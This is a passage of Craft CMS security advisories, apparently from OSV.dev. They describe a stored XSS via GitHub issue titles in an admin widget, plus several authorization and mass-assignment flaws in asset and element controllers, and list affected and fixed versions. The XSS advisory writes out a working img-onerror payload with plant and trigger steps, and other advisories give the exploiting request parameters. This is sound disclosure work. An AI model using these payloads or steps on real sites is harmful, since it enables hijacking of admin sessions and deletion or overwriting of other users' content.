The GitHub API returns issue titles as raw JSON strings with no HTML encoding. The widget makes this request directly from the browser, without a Craft proxy or any sanitization step.

HelpScreen (Stack Exchange) is not affected because the Stack Exchange API HTML-encodes titles before returning them.

Steps to reproduce

Plant (attacker, GitHub account only):

Open https://github.com/craftcms/cms/issues/new.
Set the title to a string combining a plausible search term and the payload, e.g.:

<img src=x onerror=alert(document.domain)> cannot upload files

Submit the issue.

Trigger (victim, Craft admin):

Open the Craft control panel dashboard.
Open the CraftSupport widget, click "Give feedback".
Type cannot upload files in the search box.
alert(document.domain) fires in the admin's session.

Impact

XSS in the admin control panel session. The payload has access to Craft.csrfTokenName and Craft.csrfTokenValue and can send same-origin action requests as the admin without any further interaction.

Mitigating factors

Victim must actively use the "Give feedback" search screen.
Attacker must predict or social-engineer a search term the admin will type, or use a broad term likely to match.
Widget is only available to admins.

Resources

https://github.com/craftcms/cms/commit/6bbb66038a268552180ca5c8eed9f46ea25a4417

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 406 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.16


          5.9.23

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-50282 GHSA-3w32-23wj-rxg3 Jul 02, 2026

Craft CMS Vulnerable to Unauthorized Deletion of Destination Folders During Forced Moves

High

Network Low Low None

We have identified an authorization issue in Craft CMS where a forced folder move can delete a conflicting destination folder without destination delete permission.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionMoveFolder() supports moving an asset folder into a destination parent folder. If a folder with the same name already exists at the destination, the action can be called with force=true to overwrite the destination.

The permission checks for this action allow:

deleteAssets:<sourceVolumeUid> for the folder being moved
createFolders:<destVolumeUid> for the destination parent folder
saveAssets:<destVolumeUid> for the destination parent folder

The action does not require deleteAssets on the destination volume or destination conflict folder. When force=true and a name conflict exists, the code deletes the destination folder to resolve the conflict.

$this->requireVolumePermissionByFolder('deleteAssets', $folderToMove);
$this->requireVolumePermissionByFolder('createFolders', $destinationFolder);
$this->requireVolumePermissionByFolder('saveAssets', $destinationFolder);

src/controllers/AssetsController.php:L751-L753

Indexed destination conflicts are deleted via the Assets service:

$assets->deleteFoldersByIds($existingFolder->id);

src/controllers/AssetsController.php:L798-L798

Unindexed destination conflicts are deleted directly in the volume filesystem:

$targetVolume->deleteDirectory(rtrim($destinationFolder->path, '/') . '/' . $folderToMove->name);

src/controllers/AssetsController.php:L815

Impact

A user who cannot delete assets in a destination volume can still delete a destination folder and its contents by triggering a forced move into a conflicting name. This can cause asset loss, broken references in entries and fields that point to deleted assets, and operational disruption.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50281 GHSA-x5m4-g2cq-52pq Jul 02, 2026

Craft CMS's mass assignment via id in newAttributes during bulk duplicate overwrites existing elements

High

Network Low Low None

Summary

There is a mass-assignment flaw in the bulk-duplicate element action. Alice, holding only the permission to duplicate an entry she owns, submits an arbitrary id through the newAttributes request parameter. The duplication routine overrides its own id = null reset with that value and writes Alice’s attributes into Bob’s existing entry row.

Details

ElementsController::beforeAction() (src/controllers/ElementsController.php:119-124) pulls the request body into $this->_attributes and rejects requests that ship an id or canonicalId key at the top level:

$this->_attributes = $this->request->getBodyParams();

// No funny business
if (isset($this->_attributes['id']) || isset($this->_attributes['canonicalId'])) {
    throw new BadRequestHttpException('Changing an element’s ID is not allowed.');
}

The check inspects only the top-level payload. actionBulkDuplicate() (src/controllers/ElementsController.php:1708-1749) reads a separate newAttributes array and passes it straight through to the service layer:

$elementInfo = $this->request->getRequiredBodyParam('elements');
$newAttributes = $this->request->getRequiredBodyParam('newAttributes');
...
$safeNewAttributes = Collection::make($newAttributes)
    ->only($element->safeAttributes())
    ->all();
...
$newElement = $elementsService->duplicateElement(
    $element,
    $safeNewAttributes + $element::baseBulkDuplicateAttributes(),
    false,
    checkAuthorization: true,
);

Elements::duplicateElement() (src/services/Elements.php:1814-1840) clones the source element, sets id to null, and then hands the attacker's array to Craft::configure():

$mainClone = clone $element;
$mainClone->id = null;
$mainClone->uid = StringHelper::UUID();
...
Craft::configure($mainClone, ArrayHelper::merge(
    $newAttributes,
    $siteAttributes[$mainClone->siteId] ?? [],
));

Craft::configure() overwrites the reset id with any numeric value inside $newAttributes. Yii's saveElement() then performs an UPDATE against the row with that primary key instead of an INSERT. Alice's title, slug, authorId, postDate, and UID land on Bob’s entry.

safeAttributes() on Entry includes id because the base element model exposes it, so the Collection::only() filter does not strip it.

Impact

A low-privileged author overwrites any other element (entries, categories, users that share the Entry element table inheritance) by predicting or enumerating element IDs. Content integrity on the entire install breaks. The attack requires only the ability to duplicate one entry Alice already owns.

Affected versions


          5.7.0


          5.7.1


          5.7.1.1


          5.7.10


          5.7.11


          5.7.2


          5.7.3


          5.7.4


          5.7.5


          5.7.6


          5.7.7


          5.7.8

+ 52 more


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50284 GHSA-7h62-6v23-v8fm Jul 02, 2026

Craft CMS: Missing peer-permission check in `AssetsController::actionDeleteFolder` allows deletion of other users' assets

High

Network Low Low None

Summary

AssetsController::actionDeleteFolder() only requires the deleteAssets:<volume-uid> permission for the target folder. It never enforces deletePeerAssets:<volume-uid>, even though Assets::deleteFoldersByIds() cascades deletion to every descendant folder and every asset inside, regardless of who uploaded them. A low-privilege user who has been granted folder-management rights on a shared volume can therefore destroy assets uploaded by other users (peer assets), bypassing the per-asset peer-permission check that the sibling actionDeleteAsset endpoint correctly applies.

This is the same bug class that was just fixed in actionMoveFolder as GHSA-3w32-23wj-rxg3 (commit 05c2042, Apr 23 2026); the fix added requireVolumePermissionByFolder('deletePeerAssets', …) and savePeerAssets checks to the move endpoint but did not propagate to the delete-folder endpoint.

Details

src/controllers/AssetsController.php:552-569:

public function actionDeleteFolder(): Response
{
    $this->requireAcceptsJson();
    $folderId = $this->request->getRequiredBodyParam('folderId');

    $assets = Craft::$app->getAssets();
    $folder = $assets->getFolderById($folderId);

    if (!$folder) {
        throw new BadRequestHttpException('The folder cannot be found');
    }

    // Check if it's possible to delete objects in the target volume.
    $this->requireVolumePermissionByFolder('deleteAssets', $folder); // <-- only checks deleteAssets
    $assets->deleteFoldersByIds($folderId);

    return $this->asSuccess();
}

requireVolumePermissionByFolder() (src/controllers/AssetsControllerTrait.php:75-88) only resolves to a single requirePermission('deleteAssets:<vol-uid>') call. The peer-equivalent helper (requirePeerVolumePermissionByAsset) is never invoked because there is no folder-level peer helper that iterates the folder's contents.

Assets::deleteFoldersByIds() (src/services/Assets.php:311-349) then enumerates the folder + every descendant folder, queries every asset under those IDs, and calls Craft::$app->getElements()->deleteElement($asset, true) directly:

$assetQuery = Asset::find()->folderId($allFolderIds);
$elementService = Craft::$app->getElements();

foreach (Db::each($assetQuery) as $asset) {
    $asset->keepFileOnDelete = !$deleteDir;
    $elementService->deleteElement($asset, true);
}

This bypasses Asset::canDelete() (src/elements/Asset.php:1515-1536):

public function canDelete(User $user): bool
{
    if ($this->isFolder) { return false; }
    if (parent::canDelete($user)) { return true; }
    $volume = $this->getVolume();
    if (Assets::isTempUploadFs($volume->getFs())) { return true; }

    if ($this->uploaderId !== $user->id) {
        return $user->can("deletePeerAssets:$volume->uid"); // <-- never reached on cascade delete
    }
    return $user->can("deleteAssets:$volume->uid");
}

Compare to actionDeleteAsset (src/controllers/AssetsController.php:579-613), which correctly does:

$this->requireVolumePermissionByAsset('deleteAssets', $asset);
$this->requirePeerVolumePermissionByAsset('deletePeerAssets', $asset);

The fix that landed in 05c2042 for actionMoveFolder (src/controllers/AssetsController.php:733-765) added both savePeerAssets and deletePeerAssets requireVolumePermissionByFolder checks to mirror the per-asset pattern, but the same hardening was not applied to actionDeleteFolder or actionRenameFolder (which also calls deleteFoldersByIds indirectly through later logic).

The asymmetry between the two endpoints demonstrates the missing check.

Impact

Integrity / availability of other users' assets on any volume where the attacker has deleteAssets but not deletePeerAssets: the attacker can permanently delete peer-owned files (and their parent folder structure) on the underlying filesystem, with no recovery via Craft's UI.
The Craft permission model explicitly distinguishes "delete your own assets" (deleteAssets) from "delete other users' assets" (deletePeerAssets) precisely so administrators can grant the former without the latter on shared volumes — this finding renders that distinction unenforceable for any user given folder-delete rights.
No information disclosure or remote code execution; impact is bounded to the affected volume's contents.
Does not require any non-default configuration: the affected endpoint is enabled by default and only requires that an administrator has split deleteAssets from deletePeerAssets (the documented, supported permission model).

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 404 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


